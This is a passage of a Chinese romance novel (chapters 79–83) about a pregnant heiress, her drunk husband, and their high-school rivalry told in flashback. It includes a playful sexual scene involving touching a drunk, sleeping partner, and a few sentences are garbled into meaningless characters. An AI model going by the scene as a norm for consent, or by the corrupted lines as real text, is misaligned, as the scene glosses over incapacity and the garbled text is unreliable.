侍应生身体还站在原地,但是大脑已经宕机了,眼神里甚至透露出一丝无助,求救般地把目光转向付芷橙。付芷橙脑子里也有一万只草泥马飘过,睫毛短促地眨了眨,最后挤出一抹尴尬的笑:“麻烦按照这位女士的要求准备菜品。”然后不漏一丝情绪地目送他离开。 人影一消失,她立马切换成谴责模式:"这是我姐们开的餐厅,你要不要这么挑剔,等会儿上菜要是不合心意,你可千万别掀桌子。" 周遭有人看过来,付芷橙原地翻了个白眼,不得不调小音量:“真是的,孕妇都没有你事儿多。” 叶声笙闲适地拆开折成花的餐巾,抖开披在腿上,镇定自若地反驳:“孕妇的事儿就是我这么多。” 付芷橙还没听出她的言外之意,继续抱怨:“就你这种奇葩客人,老板就应该聘请你每天去竞争对手的餐厅吃饭…….” 侍应生的效率很高,三分钟不到的时间,就把一束仿真花送上来了。 付芷橙嫌弃地撇嘴:“连玫瑰花都撤走了,也太影响观赏性了,到底为什么要换成仿真花呀?” 叶声笙喝了口温水,特别自然地开口:"因为我怀孕了,闻那个味道想吐。" 一道抽气声响起。 付芷橙嘴巴惊成了“O”型,缓了五秒,才勉强找回自己的声音:“我的天啊,你怀孕了。”与此同时,她把手机熄屏倒扣在桌面上,一副要促膝长谈的样子。 “什么时候的事?几个月了?孩子是和边澈计划内的吗?还是你们没有做保护措施不小心的?”叶声笙撂了她一眼,是谴责的意思。 "我是那种没有计划,会随随便便生孩子的人吗?" 付芷橙噤声。 “别人还不知道,我就只分享给你了,最近圈子里的聚会我都不会出席,你帮我找借口吧。” “……” 安静的对峙整整持续了三分钟,付芷橙长出一口气,突然紧张兮兮地问:“那你可以在外面的餐厅吃饭吗?边澈那个宠妻狂魔同意了?” “你别告诉他,我们就当他默认了。” “万一这家餐厅的食品安全有问题?” 叶声笙这一顿饭无语的次数,快要比这辈子都多了,她眯着眼提醒:“这不是你姐们的餐厅吗,你确定要这么诋毁人家?” “…….” 然后,她就眼睁睁地看着付芷橙洁癖大爆发,不仅用热水给她重新烫了餐具,还把厨师长叫了过来,仔仔细细地盘问了菜品的新鲜度,从前菜到甜品,十二道菜色里的食材一样样地敲进搜索栏,再默默念出它们的属性,就怕哪种是孕妇不能吃的。 比起边澈,有过之而无不及。 叶声笙朝她丢了片薄荷叶:“橙子,你正常一点。” 今晚的菜味道不错,口味也比家里厨师做得重一点,叶声笙难得胃口大开。 后面付芷橙终于缓了过来,两人聊了会儿怀孕的事儿,又聊了会儿圈里的新八卦,直到旁边桌的人朝侍应生打了个响指买单,付芷橙忽然如梦初醒:“小孕妇有没有门禁?” 孕妇没有,但孕妇的老公有,就约等于孕妇有。 叶声笙撂一眼时间,九点三十八分。 在她和付芷橙吃饭的这两个多小时里,边澈一个电话,一条消息都没有发过来。 大大的不对劲儿。 要不是自己也心虚,叶声笙早就毫不犹豫地把视频打过去查岗了。 正想着要不要发条微信过去质问一下,屏幕上突然弹出“第一美女”的名字,这是阮晴岚强制她改的备注名。 她划开手机,把电话挂耳侧:“喂,妈妈。” “宝贝在做什么?” 叶声笙的视线扫过付芷橙,面色不变地回:“刚刚洗完澡,我在看书。” "哦,我跟你说一件事……" 电话那端的阮晴岚忽然压低了音量:“小澈跟你爸爸喝酒,现在两个人都醉了,你爸让他今晚在家里留宿……” 她别头看餐桌方向,两瓶红酒已经见底,那俩人现在改拼白的了。 叶淮生不仅脸红了,喘气声都重了,瓮声瓮气地嘲讽:“你就这点儿酒量?” 边澈干了杯中酒,又给自己满上,顺着他的话往下接:“这些年,酒量确实没什么长进。” 他的状态看起来比叶淮生好,背脊挺得很直,骨节分明的手指捏着瓷白酒杯,连呼出的酒气都是克制内敛的。要不是倒一杯酒,有半杯落桌面上,阮晴岚还真看没看出其中端倪。 她走神的功夫,听见电话里叶声笙啧一声:“算了,我过去接他吧。” 路上不堵,二十分钟后,司机载着叶声笙到了。 京韵的安保抬杆放行,宾利SUV一路开进别墅门口,司机绕过车头给她开门。 夜风凉,吹得她脑仁疼。 叶淮生前阵子去国外考察,她怀孕的消息是通过电话跟他分享的,不知道他是什么时候回国的,反正他们父女俩还没见面,就让边澈抢了先。叶声笙想不明白,边澈平时那么长袖善舞一人,怎么每次到了关键时刻,情商就忽高忽低。明知道他爸爸在意她怀孕的事情,还敢单刀赴会。挺有种的。 也对,他现在确实有种了,就在她肚子里呢。可惜这么有种的人,还不是得靠她来解救人质。正想着,大门倏地打开。边澈出来了。 他边走边推开搀扶在侧的管家,额发在劲风里荡漾,明明步伐都紊乱了,却还是保持着贵公子慵矜不羁的仪态。 叶声笙抱着臂,脾气不大好地质问:“长本事了,竟然敢喝得烂醉如泥。” 忽然听到熟悉的声音,边澈原地晃了两下才堪堪顿住,他目光懒懒一抬,瞳孔聚焦在来人身上时,视线逐渐变得清明,突然勾唇笑了。 “老婆,你来接我了。” 一阵风吹过,也把他身上浓重的酒意吹过来。 叶声笙用手挥了挥,蹙着眉问管家:“我爸呢?” "夫人好不容易给哄上楼了,她让您赶快把边总领走。" 也是这一刻,深刻体会了当初石半蕾让她学习《儿童心理学》的必要性——她生命中最重要的两个男人,可真是一个比一个幼稚。 喝醉了边澈很乖,稚气地伸出手,等她主动来牵。叶声笙甚至怀疑,她要是现在扭头就走,他会不会当场泪崩。 她破天荒地对酒鬼有好脾气,主动牵他上车,嘴里碎碎念:“走吧走吧,坚持住,家里的醒酒汤已经煮好了。” "我没力气,你喂我喝。" 他的嗓音空哑,昏醉中透着固执。 叶声笙不敢置信地揉了揉太阳穴,做出最后让步:“没问题,潘金莲都喂武大郎喝药呢,我当然得喂你喝解酒汤。” 边澈这才往车上迈,可惜步子不稳,迈了三次都没成功。 她快要没耐心了,正想让司机过来帮忙,就听他突然一句:“我想吐……” 叶声笙被他的话吓到,她有很强烈的预感,要是边澈真的吐在她眼前,她的孕吐肯定会当场发作。 于是捂着眼睛,警铃大作地给了他一拳:“不许吐!” 80、第80章 那一拳没用力,但边澈还是没站稳,扶着车门叶了 他晚饭几乎一口未动,这会儿胃里都是酒,吐出来的也都是酒,叶声笙轻抚他的背,叹一口气。 她怎么会不明白他的心意呢。 主动上门负荆请罪,一杯杯地自罚,只想顺了叶淮生心口的闷气。 司机从车内拧开一瓶水,递到他手里,而边澈接过水之后,就朝叶声笙摆了摆手,示意她离自己远一点。 他从来都是慵矜不羁的贵公子,所以不想让她闻到难闻的气味,也不想让她看见自己狼狈的一面。 夜风四散,明晃晃的车灯打在别墅大门上,司机也很有眼色地站到了远处。 没有旁人,没有声息,只有他不舒服的呕吐声。 吐到眼睛都红了,边澈喝水漱口,又不声不响地起身,重新回复清清爽爽的样子。 他朝她勾了勾手:“宝宝,回家吧。” 这个人怎么这么会往她的心里钻呢?只风清月明地站在原地,就纯粹得令人动容。 他是游刀有余的恒壹集团掌门人,跺跺脚都会让京市的商界重新洗牌,叶声笙看过他的行事历,已经忙到精确到分钟的程度,却还能绞尽脑汁地安抚岳父大人的小情绪。 明明结扎的事情,他就是委屈的一方,但他什么都没有说,就连她提了离婚,他还是为叶淮生守口如瓶。 他们已经结婚了,两家的资源早就深度捆绑,不管是从情感上还是利益关系上来,边澈都不需要这么做。 没有恃宠而骄,秉着得到了就不再付出的原则,始终对她和她家人有着无比的耐心。 在这样一个深秋的夜里,叶声笙盯着他的脸,胸口轻微起伏:“边澈,我以前对你不好……” 话说到一半,她的声音哽咽了。 夜里的空气格外清新,吸进肺里有轻微的刺痛。 往事般般应。 过去擦肩而过的日子从眼前掠过,那时候不懂他的心意,只把那些恶作剧当成他恶劣的罪行,叶声笙心脏一抽一抽地疼。要是没有命运的草蛇灰线将他们的生活重新交织在一起,那他等待的这些年,又算什么呢? 偶尔树叶晃动发出沙沙的响声,所有的画面都像被隔离在外,只有边澈在夜幕中独独分离出来。 她的指尖微微发抖,掌心还擦着要给他擦脸的湿纸巾,突然有很多话想跟他讲,想问他过去等得苦不苦,想说自己以后一定会对他好的,可所有的话都堵在噪口,一个字都说不出来。 万般滋味,一时竟不知从哪儿开始咀嚼,最后变成一句没逻辑的质问:“边澈,你是图我漂亮吗?” 如果是就好了,虽然漂亮是她最不值得一提的优点,但如果边澈是见色起意,她反而会好受一点。 七个字掷地有声地击穿空气,边澈酒都醒了。 他径直走向她,用指腹轻轻揩掉她眼尾的湿意:“我不止图你漂亮……” 叶声笙仰着头,眼里的情绪全部坦呈在他面前,边澈把她揽进怀里,温热的掌心抚上纤细的后颈,那里的皮肤被夜风扫过,带着微微的凉意。 “还图你可爱善良,图你温柔大方、图你善解人意。”他说话的时候,头是朝一侧别开的,就怕酒气熏到她。 虽然边澈说的这些特质她好像没有,但不耽误叶声笙他的怀里摇头,然后瓮声瓮气地抱怨:“还有才华横溢呢,你怎么忘了说。” 回应她的是边澈豪迈的笑声。 路边斜过一双交缠的影子。 他连西装外套都没穿,隔着一小层衬衫布料,她很用力地环着他的腰,两人体温轻而易举地熨贴彼此。 边澈唇角翘起一抹好看的弧度,捏起她小巧的下巴,两人视线直直相撞:“还有那个最最最喜欢的……” 他怎么总是不正经? 叶声笙捏他侧腰,笼罩在阵阵酒气中,觉得自己完蛋了。 她怀孕之后,受影响最大的就是嗅觉感官,家里用惯的洗衣凝珠全都换成了没有味道的,就连家里那几百瓶香水,也一并让付芷橙打包带走了。 而现在,此时此刻,她竟然觉得边澈身上的酒气很好闻。 “你想什么呢?” 他垂眼看她,打断她的胡思乱想:“我最最最喜欢你纯爱的反应,毕竞身体从不撒谎,看惯了我这张脸,看别的男人会吐也实属正常。” 这种灭他人志气的话术,确文符合边敞长期眼用鹤红的人设,不过叶声笙没思到地和架掘的维间已经过去这么久了,他还记得这在儿,敏感地问:“那事儿在你心还 没过去?" 在喜欢的人面前袒露占有欲,并不是需要遮掩的事儿,但小妻子怀着孕,他又不想当一个斤斤计较的人。 在坦诚和撒谎之间犹豫了一秒,边澈选择反驳:“没有的事儿,我连梁煜的名字都记不住。” 才怪! 这不是记得挺清楚的嘛。 他高她一个头,眼睛懒戾垂着,像个硬要说反话的大龄儿童。 叶声笙突然觉得自己周身镀上一层母性光辉,那种感觉很难抑制,于是伸手把他的头发揉得更乱,下巴微微一扬:“放心吧,我以后会独宠你的。” 这道圣旨听着就让人心情愉悦,边澈笑得肆无忌惮,眉梢得逞似的挑起:“记住你的话,生了孩子也得最宠我。” 真够幼稚的。 "十点的门禁,你是不是忘了?" 那只得寸进尺试图偷偷盖章的手被叶声笙一把抓住,她用眼尾剜了他一眼:“快点上车。” 边澈只是看着清醒,其实早就不行了,他好久没有喝过这么多酒了,上一次喝醉还是听说她跟祝泽订婚那天。 叶声笙用湿巾给他擦脸的时候,他的眼睛已经睁不开了,攥着她的手放在自己膝盖上,哑着嗓子低喃:“今晚我不睡客房。” 难为他都这样了,还知道给自己争取权利。 到了御龙湾之后,司机帮忙把他扶到二楼,边澈倒头就睡,叶声笙拒绝了阿姨们的帮忙,一个人帮他脱衣服,用热毛巾给她擦脸,又好说歹说把他哄起来喝了醒酒汤。贤妻良母可真是一件力气活。 叶声笙忙完这些一身汗,她又自己洗了澡,吹头发护肤那一套流程走完,已经过了凌晨一点。 不知不觉就没了睡意。 黑暗中,她轻车熟路地窝在他怀里,借着月光偷偷打量枕边男人。 短发凌乱地拢在头顶,阖眸也能看出来眼型很长,鼻梁挺直、薄唇性感,五官的每一处都长在了她的审美点上。 不得不承认,边澈是帅的,就连把他当成死对头的那些年,都没有办法攻击他的长相。 叶声笙忍不住亲了亲他的喉结,他没什么反应,她眨了眨眼。 都说酒后乱性是个悖论,那她和边澈的第一次…. 玩心一旦勾起,断没有停止的道理。 边澈上身裸着,只穿了条宽松的睡裤,大字形躺着,毫无防备,她在一片漆黑中摸过去。 他的腰很窄,腹肌触感很好,轮廓分明,软硬适中。 叶声笙钢琴弹得很好,手指纤细而伶俐,她勾起他腰间的带子,顺着人鱼线的尾端一鼓作气向下探索。 边澈的呼吸声突然重了,在寂静房间里格外清晰。 这大大地鼓励了她。 欣赏他情动的样子,本来就是她今晚最大的乐趣,要知道,这些以往可都是边澈的福利。 小边澈即使在睡梦中,也非常有存在感,叶声笙在逐渐加速的心跳中覆上去,软软的没什么攻击力,连平时张牙舞爪的青筋都消失不见了,她从没见过这个状态的它。 她轻轻拨了拨,在他耳边吐气:“你平时不是很威风吗?动不动就想让我求你,现在是怎么了?”小边澈突然跳了一下,叶声笙身为始作俑者,突然有些后怕,自己还怀着孕,万一边澈兽性大发扑上来,事情就很难收场了。 又爱玩,又菜,是她了。 屏息盯着他看了几秒后,小边澈又在她手里安静下来,好像刚刚的弹动只是回光返照一样。 她对画梦中的人喊话:“是不是年纪太大体力眼不上了?告诉你一个坏消息,虽然我们两个年龄只差半岁,等你一百岁的时候,我可九十九,如果到时候你不听话,我就去找八十岁的小鲜肉玩……” 坏心地捏鼓了好一会儿,边澈始终没什么反应,叶声笙终于无聊地抽手放弃了。 最后得出个结论,真醉的男人,毫无危险性可言。 有些话是不能说的,有些事也不能做。 就在叶声笙放松警惕的瞬间,边澈翻了个身,她睡裙肩带突然被人拉下,一只大手重重地覆了过来。 他身高一八八,从小学起就常年打篮球,掌心带着薄薄的茧子,莓果被刮得轻微刺痛,她难以自控地“唔”了一声 怀孕之后,胸部变得很敏感,叶声笙眼睛瞬间泛上水光。偏偏醉酒的人力大无穷,她用尽全力也没推开。 酥酥麻麻的感觉自胸口开始蔓延,他好像还嫌睡裙碍手,扯了几下最终因为不得其法而放弃,又像摆弄心爱的玩具似的,把她整个箍进手臂。 两颗敏感点被人轮流捻着,叶声笙差点快要呻吟出声,强烈怀疑边澈是在装睡。 更想哭的是,她的身体也渴望着他。 一定是孕激素造成的荷尔蒙紊乱,要不然怎么会让一个小仙女也想做下流事。 叶声笙用力咬上他的下巴:“混蛋,都是你把我带坏了。” 虽然是她先拱火的,但她擅长原谅自己。 咬完了,又有点心疼,叶声笙凑上去对着牙印儿的地方亲了亲,低声喊了几次他的名字。 "边澈,边澈…" 81、校园(bc视角) “人和人之间,成为朋友或是恋人,不是只能靠爱好、感受就能在一起,它需要一种契机,以及合适的刚刚好的遇见。”—吉本芭娜娜《尽头的回忆》礼德高中。周一下午的课总是让人昏昏欲睡。 简宇航打着哈欠撑到下课铃响,周遭的同学陆陆续续起身,一时间桌椅碰撞声和理书声交织在一起,噪声很大。 而边澈在最后一排睡觉,他已经整整睡了三节课了。 门口站了几个外班女生,跟交错而过的人打听嘀咕,隐约提到他的名字,然后脑袋齐齐往被指的方向看。 简宇航憋了一节课,这会儿正要起身解放膀胱,就被三个女生围住了。 他用指节敲了敲边澈的桌面,见他始终没反应,又推搡了他几下:“澈哥,醒醒。” 边澈被他吵醒,睡眼惺忪地起来,脸上还带着长久趴着睡的明显压痕。 他嗓音倦懒地开口:“怎么了?” 几个女生一听他的声音就脸红,心意明显得不用费心琢磨。 带头的长马尾抱着几个B5大小的本子,声音里夹着紧张:“我们几个帮你写了六份《阿房宫赋》,要是还不够的话,你再跟我们说。”边澈还来不及回答,简宇航的表情比他还得意:“够了,够了,国炸罚澈哥二十份,现在已经三十六份了…” 他敲了敲脑袋,更正道:“算上你们这六份,已经四十二份了,百分之二百完成任务。” 边澈被罚写二十份《阿房宫赋》,是礼德高中今天最大的新闻。 礼德高中是国际高中,课程设置是Alevel体系,主修的课程从“数理化生经史地生”里面选三到四门就可以申报英国的大学了。 所以,语文就成了学校里最尴尬的一门课不得不设置,但又很少有人选修。 但这是边澈最喜欢的一门课,因为他通常用来睡觉。 语文老师本名叫赵国祚,五十多岁,但是因为讲课嗓门大,激情澎湃到吐沫星子能把第一排的同学淹死,遂被大家起来个外号— 国炸。 他平时脾气很好,很少有发作的时候,今天不知道受了什么刺激,看着底下排排睡的学生,暴躁像火山一样爆发了。 他想要立威,总得啃最硬的那块骨头,所以边澈就成了典型—罚抄《阿房宫赋》。 二十份。 偏偏他这个当事人,听完国炸的发作后,没赞同也没反驳,又俗尘不扰地趴下继续睡了。 气得国炸暴跳如雷,中气十足的嗓门在教室的四面墙壁中回荡,连旁边的班级都听得一清二楚。 罚抄二十份《阿房宫赋》,听起来挺好笑的,校园里盛满了对这件事的八卦,个个都在猜以边澈的性格会不会给国炸这个面子。 简宇航看他大脑还维持着短路的状态,生怕三个女生尴尬,接着说:“感谢几位美女慷慨相助,要不然国炸还真的是会下不来台,我替他谢谢各位了。”边澈撂一眼过去,嫌他话多,简宇航收嘴了。 三个女主互相对看了一眼,手里的本子反倒变成了烫手山芋,不知道该不该放下。 边澈抽开椅子起身,慢条斯理地说:“谢谢,你们是几班的?我请你们喝咖啡。” 他身高一八七,比几个女生高出不止一个头,站起来很有压迫感,长马尾离得近,脸颊立刻红得发烫,连连摆手:“三班的,不过不用了。”咖啡喝不喝倒是无所谓,起码得让Crush知道自己是几班的。 她说完就扯着另外两个女生离开,一秒不到的时间里,就听见走廊里传出她们兴奋的尖叫。 简宇航盯着长马尾消失的方向,咬了咬后槽牙:“我给她送了一周的咖啡,她好像刚刚都没认出我。” 边澈没什么表情变化,掀了掀眼皮看他:“谁?” "我的女神!" “现在我跟你是多角恋的关系……麻烦让让,我要去厕所。”简宇航没好气地说: 边澈侧身子给他让路,然后眼睁睁看着他跟一个女生相撞,又被人劈头盖脸骂了一顿。 来人叫丁雯雯,她妈妈跟辛甘棠很熟,两人从小就认识。 她身上那劲儿跟某人有点像,但多一分少一分终究是相差了十万八千里。 丁雯雯撑着手臂倚在边散前一排的桌子,眉心凝着:“国炸是不是被他老婆虐待了,今天跑学校散野来了…还是说背会了《阿房宫赋》,他能给你弄到剑桥的fer?”嘴巴也挺毒。 不过边澈实在不想因为这点小事而被过渡关注,他揉了揉突突直跳的眉心,“你们就没别的事儿了吗?” 边说边模悠然地重新坐下,从包里抽出电脑,指纹解锁,熟练地登录邮箱查看未读邮件,他限几个朋写了个关于支付安全的代码,华尔街有家公司很感兴曲,最近热夜也是因为这个。 礼德高中不但可以带手机,作业也几乎都是用电脑完成,边澈原计划是复制黏贴二十份《阿房宫赋》,以Word文档的形式交给国炸。 这群人愣是把他的黑心肠都给洗白了。 那会班级还处于课间,教室里有人低语,走廊里突然传出很大的吵闹声。 丁雯雯的关注度从外面移回来,视线落在电脑前打字的边澈身上,唇角浮起一抹嘲讽:“叶声笙请全校喝咖啡,你猜因为什么?” “什么?”他的视线始终在屏幕上。 “还能是什么?你被国炸罚抄,丢了面子,你的死对头在普天同庆呢。” 边澈把电脑一合,眼皮掀起浅浅一层,倏地笑了:“我就这么遭人恨吗?” 他把双肘搭在椅背上,坐姿挺男人的,眸底的情绪意味不明。 丁要对边有心思也不是天两天了,这合儿顺他自对概,耳眼热“你有多级效迎,看酱伤写附致说则道了,你有多人佩,看咖山方今天的地道。"边澈突然拉开椅子起身:“我也渴了。” 丁雯雯没听懂他的意思,但她铁了心今天要为他讨回公道,斜眼看走廊半晌,突然用力踹了一脚他的椅子。 “我必须找校长掰扯掰扯,国炸罚抄,这绝对是体罚。” 边澈发誓,找校长掰扯和踹他椅子,二者之间没什么关联。 但他罚抄,有人过度开心这事儿,关联有点大了。 下节课是自习时间,恰好是老师不管的无纪律时间,不少人会趁着这个空隙,去学校里的咖啡厅喝下午茶或者去便利店买零食。边澈从教室里出来的时候,沿途的每个教室都有脑袋冒出来,不仅因为他本就是礼德高中的风云人物,还因为他今天热乎乎的新闻。他轻车熟路地往二楼最里面的那间教室走。 教室里,叶声笙正被众星捧月地围在C位,一群女生叽叽喳喳地聊着八卦,空气中氤氲着浓郁的咖啡香。 闻着就让人醒神。 边澈从教室的前门进,层层叠叠的喧闹声渐渐变小,有人放下了手机,有人合上了课本,几十双眼睛直勾勾地盯着今天的八卦主角。看着他在叶声笙的桌前停下。 两个人穿的都是礼德高中的校服,边澈衬衫领口敞开两颗扣子,叶声笙的裙子改短了一寸,脚上一双白袜,看起来像对璧人。 美好的画面如果能静止就好了,只可惜—— 叶声笙合上手里的小镜子,往桌子一拍,双手抱臂看过去:“边澈同学,你是不是写《阿房宫赋》写得头昏脑胀,连自己的教室都找不到了?”她的普通话很标准,就是调子里透着一股傲娇的尾音,边澈耳膜像是被猫挠过,痒痒的。 他单手插兜,目光下移到她桌上那杯尚未开封的咖啡上,好整以暇地挑了挑眉:“听说你请全校同学喝咖啡?” 这句话一出,旁边同学很有眼色地四散,把主战场留给两位主角,只是人人耳朵都竖着,恨不得在脑袋上安上两根天线。 叶声笙跟边澈不是需要寒暄的关系,她漫不经心地轻轻一哂:“有什么问题吗?” “我也是这个学校的,怎么不请我喝?” 叶声笙没想到他会丢出这么一句字来,短暂惊讶后,很快调整了情绪:“哦,真不巧,学校咖啡厅的咖啡豆今天全部用光了。” 她不信边澈不知道,全校的咖啡狂欢到底因为谁。 边澈像是什么都没听出来,因为他反问:“你这杯不能请我吗?” 段丽丽低着头憋笑,身子一抖一抖的,叶声笙给了她个眼神警告,她坚决不允许身边人用笑脸倒戈。视线重新扫过来的时候,脸上带着不耐,她不信边澈听不懂她的暗示。或许,她应该再明示一点儿 “不能。” 他偏要刨根问底:“为什么?” 叶声笙的那句“因为你是黑心资本家”还没骂出去,上课铃打响,有人在后门提醒:“老师来了。” 她顺着声音就往外看,边澈突然伸手拎起她前面的咖啡,然后迈开步子往后走,从后门出去的那一瞬,自习课的老师从前门进。 透过教室的窗户,远处的落日壮丽而盛大。 边澈倒着走,盯着眼里包含杀气的叶声笙,心情好得不得了。 他有预感地掏出手机,微信里果然躺了条短信:「那杯咖啡我下毒了,不怕死就尽管喝」上课铃响第二次,走廊里就剩边澈一个人。 他回:「你不知道我百毒不侵吗」 喝一口手上的咖啡,三分糖,有点苦,是她的口味。 手机屏幕还亮着,蓝色的iMessage,半天也没有已送达的提示。 很好,又被拉黑了。 82、校园(bc视角) 秋季,是校园内一年中最美的季节。 礼德高中的园艺师很懂审美,霁月湖四周种满桂花,到了十月末,银杏叶落满地,金金灿灿的厚厚一层蔓延 到图书馆,踩上去就觉得前程锦绣。午休时间,路上到处都是拍照打卡的同学。 边澈和班里几个男生打了场酣畅淋漓的球,一群颜正痞帅的少年穿着红色 的球衣,往教室走的时候,身上的 运动气息还没消,前额和后颈都带着汗。简宇航找话似的说:“三班的男生上周还说要跟我们班比一场,我刚刚去问的时候,都说要复习,一个个怂得跟孙子似的。” 边澈没看他,只勾了勾唇角,继续刷手机。 男生之间,没那么多分享欲,一个表情足矣。 朋友圈被礼德学院宰岚艺术节的邀请函刷屏,点开就是一张长图,他百无聊赖地往下滑,叶声笙的名字在页尾撞进视线时,他眉峰一挑。 她什么时候对话剧感兴趣了? “周溢已经到了吗?” 正琢磨着,熟悉的女声就从身侧传来。 与此同时,空气中飘过一阵熟悉的佛手柑香气,边澈脚步微顿,别头就看见叶声笙穿着件金色的复古长裙往礼堂方向走。 她好像也看见他了。 轻飘飘地往他的方向撂一眼,一眼之后,叶声笙理了理刘海儿继续走。 根本就懒得搭理他的样子。 边澈把手机锁屏,若无其事地问:“艺术节是哪天?” 旁边人答:"十月二十五号,好像是个周五。" 肇岚艺术节是礼德高中一年中最大的盛事,最近校园里随处可见各种排练。 都是富裕家庭出来的孩子,哪个身上没有几项拿得出手的特长?老师们经过层层筛选,最后保留十个节目,涵盖街舞、乐器、合唱、脱口秀……《罗密欧和朱丽叶》是艺术节的压轴表演。 秋风灌过来,长发在风里扬起来,她不耐烦地往耳后一绾,露出张明艳秾丽的小巧脸蛋,鼻翼上的小痣点缀得刚刚好,清纯里带着性感。 “应该到了,我打电话的时候他正好下楼给阿姨送脏衣服,他说不上楼直接过来。” 礼德有专业的送洗服务,外衣和校服都可以直接交给阿姨,洗好熨烫之后会送回来。 段莉莉随手帮她扯了扯及地的裙摆,声音里带着惋惜:“声笙,排练而已,用不着穿这么好的礼服,好浪费呀。” “我也不想呀”,叶声笙也很苦恼:“穿着校服,我对着周溢那张脸实在是演不下去。” 她脚下步子不停,裙摆拖曳间露出里面的小白鞋。 “周溢长得还可以呀?” 叶声笙嫌弃地撇嘴:“我觉得你的审美有很大问题,你上次带我去看的那个Crush,你不觉得他长得很像黄渤吗?” 段莉莉:….… 这么漂亮的“朱丽叶”游走在校园里,但凡擦肩而过,就没有不回头的,尤其是男生,心里都对“罗密欧”羡慕了几分。 简宇航不知不觉看呆了,掌心里的球失去控制,弹了几下朝着朝林荫道滚过去。 边澈一副“跟手脚不协调的人站一起都丢人”的表情睨他,他不自在地挠了挠头:“我去捡球……” 旁边几个男生知道简宇航的女神也是话剧社的,顺着他的心思起哄:“我们也正好想去卫生间,山上礼堂最近了,走走走,一起去。” 几个人说是风就是雨地去了。 一男生慢慢降速,到他身边轻咳了声:“澈哥,你知道简宇航的女神是谁吗?” 边澈耸肩,淡淡一笑: “知道。” 那女孩上次帮他写了《阿房宫赋》,要不是当天叶声笙把咖啡厅的咖啡全部包了,他也不能欠人家三杯咖啡,正想着要不要趁这个机会还上,就听男生八卦地压低音量。“对,就是段莉莉。” “段莉莉?” 边澈掀起眼皮看他,不知所谓地动了动唇角,觉得自己应该跟简宇航好好聊聊,不要再亵渎女神这个词了。 什么人搭错神经,才会一周换一个女神。 男生不知道他的心理活动,摸摸鼻子提醒:“所以一会儿,你千万别又跟叶声笙对上,段莉莉向来唯她马首是瞻,到时候简宇航肯定没戏。” 边澈斜眼看他,声音无波无澜:“我什么时候跟叶声笙对上过?” 男生用看失忆病人一样的眼神看他:“你俩每次见面不都是火星撞地球,你自己没感觉到吗?” 边澈:“没感觉。” 男生瞪大眼睛,不死心地问:“那你要跟人对上,是什么样?” 边澈逻辑清晰地回:“还没人惹毛过我,我也不知道。” 男生想想也是,从来都是边澈惹别人,哪有人敢惹到他头上。就连国炸上次发了雷霆之怒,最后不也是一气之下挠了挠自己的屁股,风声大雨点小地轻拿轻放了。 他朝在前面摆弄发型的简宇航扬了扬下巴,讳莫如深地说:“他这两天就打算表白呢,是兄弟就去助攻一下。” 边澈擅长理性思考,但还是没想明白,喜欢是可以这么快就转瞬即逝的吗? 上周是那个长马尾,这周是段莉莉。如果表白失败,那简宇航下周喜欢的人会是谁? 他没有太多跟女孩子相处的经验,辛甘棠陪着边江去了国外治病,家里的堂妹们也只有逢年过节才会到老宅吃饭,他连捉弄的对象都变得很少。 踩在松软的银杏叶上,边澈边走边想,叶声笙跟那些被捉弄之后就哭着告状的女生不同,她会报复回来。 不是当时。 是在任何出其不意的时刻,给他一个惊喜。 这种时刻被人咀嚼,被人惦记的感觉,是他嘴上摒弃却心里在乎的安全感。 迈进礼堂的那一刻,边澈好像想明白了一些事情。 他们进去的时候,彩排已经开始了。舞台灯亮着,整个演出就叶声笙一个人穿着礼服,挺显眼的。 边澈没跟那群起哄的男生一起,自己找了个后排的位置坐下。 她的头发丝都镀着光,说起台词深情款款,一口醇正的伦敦腔,跟她平常傲娇的样子很不同。 边澈想起她被藏舞蹈鞋时气急败坏的样子,想起她请全校同学喝咖啡眉眼飞扬的样子,唇角上浮了一抹很轻的笑意,那时候才有了想要独占她的实感。 周溢台词不熟,中间卡壳了三四次,叶声笙没发脾气,还特别有耐心地帮他纠正发音。 边澈对叶声笙这种严于律他,宽以待周溢的行为挺不爽的。 要说叶声笙拿下“朱丽叶”是凭借着出色的外貌和腔调,那周溢拿下“罗密欧”就多少有点不体面了,因为他妈妈是礼德高中的老师,也是外语教研组的组长。 前排简宇航殷勤献得挺顺利的,知道她们为了中午彩排饭都没 吃,就去咖啡厅买了不少小蛋糕和面包过来,重新路过他身边的时候,还从容地吹了声口哨。 忽明忽暗的灯光里,剧情已经进展到双人舞,边澈换了个坐姿,视线移到周溢和她交叠的手上。 礼堂内没有窗,空气憋闷得要命,他扯了扯领口。 话剧的舞蹈部分有专业老师现场指导: “你们是爱而不得的情侣,感情要浓烈,中间隔得八丈远是什么意思?” “对视的时候,双眼饱含深情。” “最后把她抱在怀里,轻轻地吻上去……” 她手里拿着话筒,声音很亮,礼堂内的每一个角落都能听清。 边澈起初还想说服自己以欣赏艺术的眼光去看待台上的演出,可每一个画面都像是慢动作,心脏有种被凌迟的痛感。 在周溢的额头缓缓靠近她的时候…… 他烟瘾犯了。 简宇航看完整场彩排后终于加到了新女神段莉莉的微信,兴致勃勃地想跟边澈分享的时候,发现他的位置已经空了。 第一次月考成绩出来那天是周四,边澈还是稳居第一。 因为第二天是拳岚艺术节,高一到高三下午的课程全部取消,他带着笔记本在图书馆上网。 学校里沸沸扬扬全是明天艺术节的消息,校内网的论坛上时不时发布几张节目的路透照,还有猜测邀请嘉宾名单的,不少赫赫有名的大人物都在列,寒寒窣窣的讨论声四起,好像在聊见不得人的八卦。 “你说上台表演的人要是被看好了,能不能直接保送?” “不好说,要不然Miss LIU怎么会硬把周溢塞进压轴的节目里。” “也就是我们学校的男生大度,没人跟她计较……” “现在是没人计较,要是真被他捞到一个Offer,你看校长室会不会让人踏平。” 边澈本就是来图书馆躲清静,被他们扰得心烦,他把笔记本“咔”地一合,起身朝门口的方向走,超大的动静使得不少人循声抬头。 沿着一排排书架出了阅读室,刚走到楼梯口,手机在口袋里震,他放慢脚步低头看微信,耳朵突然漏进一句话。 "你跟叶声笙的话剧是真亲还是假亲?" 三楼的室外楼梯,有个探出的小阳台,男生们经常在那里偷偷抽烟。 边澈虚眯了下眼,听见周溢的声音:“借位而已,老师怎么可能让高中生真的亲。” “借位也值了,你之前不还给她送过情书,这次没趁机表白?” “表白了。” 对方拍了拍他的肩膀,已经猜到了结果:“人家是仙女,仰望就行了,这次能让你搭上,已经是几辈子修来的福气。” “是吗?” 周溢嘴边溢出白烟,老练地掸了掸烟灰:“明天的演出,我准备当着全校师生的面,真吻下去。” 边澈下楼梯,按下一串号码:“简宇航,今晚打球。” 83、校园(bc视角) 晚上八点,礼德高中户外篮球场灯光通明,一群男生球赛打得正酣,场上低哨频响。 